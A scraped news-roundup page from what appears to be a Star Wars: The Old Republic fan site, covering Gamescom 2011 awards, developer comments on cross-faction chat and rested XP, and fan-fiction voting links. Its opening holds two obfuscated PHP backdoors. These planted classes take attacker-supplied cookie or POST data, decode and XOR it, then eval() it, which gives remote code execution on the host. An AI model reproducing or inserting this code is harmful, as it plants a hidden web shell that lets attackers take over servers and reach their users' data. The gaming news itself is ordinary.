$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> HoloNet Links – Corellian Run Radio
Aug 182011

HoloNet Links #7

Gamescom is going on in Germany and many tid bits of gaming goodness are being reported.

Voting time for Fan Fiction…Georg Zoeller clearing up communication issue…EA & Bioware awarded at Gamescom and much more

More Links & Information after the Jump…

Awards from Gamescom

The awards for Gamescom have been handed out. EA has received several awards for titles like Battlefield 3 and Star Wars: The Old Republic. Check out the article from Gamasutra for more awards from Gamescom 2011.


Dev News

  • Hot Dev Tid Bits

GeorgZoeller General Discussion -> Good Interview with TenTonHammer & SWTOR Creative Director James Ohlen

Quote: Originally Posted by LauZaIM

Oh, so /say with opposite faction is gone now?

That’s still there. What was removed was the ability to talk in general chat between factions, and mostly because it was confusing.

Let’s just say that there was some awkward situations on Hoth where people ended up meeting to fight a world boss only to realize at the meeting place that they were different factions.

It’s funny when that happens, but it was creating a lot of confusion as well.


GeorgZoeller General Discussion -> no cross faction chat??


Let’s back up for a minute and clarify what’s going on here.

Nothing has changed since San Diego Comic Con.

As discussed at SDCC, the decision was made to separate the general chat channels by faction. However, this decision ONLY affects the planet-wide chat channels such as “General Chat.” If you’re standing next to another player (local chat), you can talk to them regardless of what faction you’re part of.

The only thing we removed, as already mentioned at Comic-Con, was the ability to communicate with the opposing faction across the entirety of a planet to avoid the issues (like griefing, abuse, and other factors which led to a very unpleasant experience) which we saw way too often in testing.

We discussed the option of hiding the global chat and defaulting it off, but ultimately the ratio of negative incidents was too high to justify that. The reasoning here is simple: We really didn’t want to create a game option that essentially says “[x] Give me an 80% chance of having an infuriating and annoying chat experience,” and putting the onus on the user (“you can just /ignore them”) is not our idea of a quality game experience.

Removing planet-wide cross-faction chat radically reduces the amount of reach a misbehaving player has before account action can be taken. We’ll likely add the ability to filter local cross faction chat as well.

Hopefully that clears it up a bit.


I know this is a hot topic for many in the community. Obviously during testing it was found to not work in having full blown cross-faction chat in channels, but you still will have the ability to use a /say or possibly a /yell command as you stand over the corpse of the opposing faction member you just ganked. The role playing community still has a way, all bit it harder than in channel, to discuss plot and storylines with opposing faction members.


StephenReid General Discussion -> Confirmed – Rested XP will be in the game

Quote: Originally Posted by Bobiefatt

Some people seem to think you get XP while you are logged out.
This is not what it means.
Like the above poster said, you get double XP for a few quest if you log out in an inn for a good day (24 hour) or something.

It’s something like this. In our case, right now, you become ‘rested’ when you log out in a cantina.

I’m afraid I can’t recall the exact specifics on numbers, but when you re-login with a ‘rested’ character you gain XP faster up to a certain amount, then go back to the ‘normal’ rate. I’ll try and get Damion to elaborate. As always, we’re testing features like this, things will no doubt change, get tweaked, etc.


Sounds more information will be coming on this at a later date, but for now XP after resting will faster just no exact numbers or how long it will last etc. Stay tuned for more updates.


Community News

  • Fan Fiction Contest voting is going on now!

Voting stage is 14th to 21st of August, with the winners being announced on the 22nd of August. With rewards being distributed on August 28th, the same of which day the Grand Vote off begins, which ends September 4th. The reward for the 8 winners will be a custom 3D high quality rendering of their main characters weapon or gadget that the submitter has drawn. Provided by Ironcleaver – http://www.swtor.com/community/showthread.php?t=230646


The links for reading the submissions:

Sith Inquisitor Submissions: http://www.swtor.com/community/showthread.php?t=405112

Sith Warrior Submissions: http://www.swtor.com/community/showthread.php?t=405114

Imperial Agent Submissions: http://www.swtor.com/community/showthread.php?t=405110

Bounty Hunter Submissions: http://www.swtor.com/community/showthread.php?t=405108

Jedi Consular Submissions: http://www.swtor.com/community/showthread.php?t=405082

Jedi Knight Submissions: http://www.swtor.com/community/showthread.php?t=405090

Smuggler Submissions: http://www.swtor.com/community/showthread.php?t=405096

Trooper Submissions: http://www.swtor.com/community/showthread.php?t=405102


The links for voting stage August 14th through the 21st:

Sith Warrior Voting: http://www.swtor.com/community/showthread.php?t=429543

Sith Inquisitor Voting: http://www.swtor.com/community/showthread.php?t=429513

Imperial Agent Voting: http://www.swtor.com/community/showthread.php?t=429538

Bounty Hunter Voting: http://www.swtor.com/community/showthread.php?t=429498

Jedi Consular Voting: http://www.swtor.com/community/showthread.php?t=429519

Jedi Knight Voting: http://www.swtor.com/community/showthread.php?t=429528

Smuggler Voting: http://www.swtor.com/community/showthread.php?t=429551

Trooper Voting: http://www.swtor.com/community/showthread.php?t=429535


Take some time and check out these fan fictions stories and vote for the story you like the best in each class.


  • Corellian Run Radio’s Weekly Nav Coordinates

8/18 Gamescom: Producer Presentation 1, Sith Warrior Play-Through by Kathy

8/17 Gamescom: Endgame Demo, New Warzone by Kathy

8/16 Mi Revan es Su Revan – From Game to Novel by Mark

8/15 EA Press Conference with SWTOR: Tuesday the 16th! by Mark

8/15 Guild Checkpoint featuring Sons of Anarchy by Jason Taylor

8/12 Friday Update


Star Wars Multimedia

  • Facebook image of the Week

Dark Temple on the planet Dromund Kaas

Is the Auction House around here?

  • Comic Fun

This comic strip from jedinet.com was submitted by Kevin, from the Corellian Run Radio Facebook group. Thanks Kevin.



  • Video Fun

This is just pure nerd/geek awesomeness. The special effects are mind blowing. The whole video is over 10 minutes but so worth it! These guys are doing some amazing work. Leave them a comment and click thumbs up. Thanks again to HereticZero for another awesome video link submitted in the CRR forums.


Wow what a week! Be sure to keep checking back here for anymore updates at Corellian Run Radio. If you have an interesting, funny, or thought provoking Star Wars Old Republic link, you would like to see on HoloNet Links, please let me know via email at jason@corellianrun.com, join the CRR forums, or in the Facebook group. See you next week and remember PAX is coming soon and Corellian Run Radio hosts will be there!

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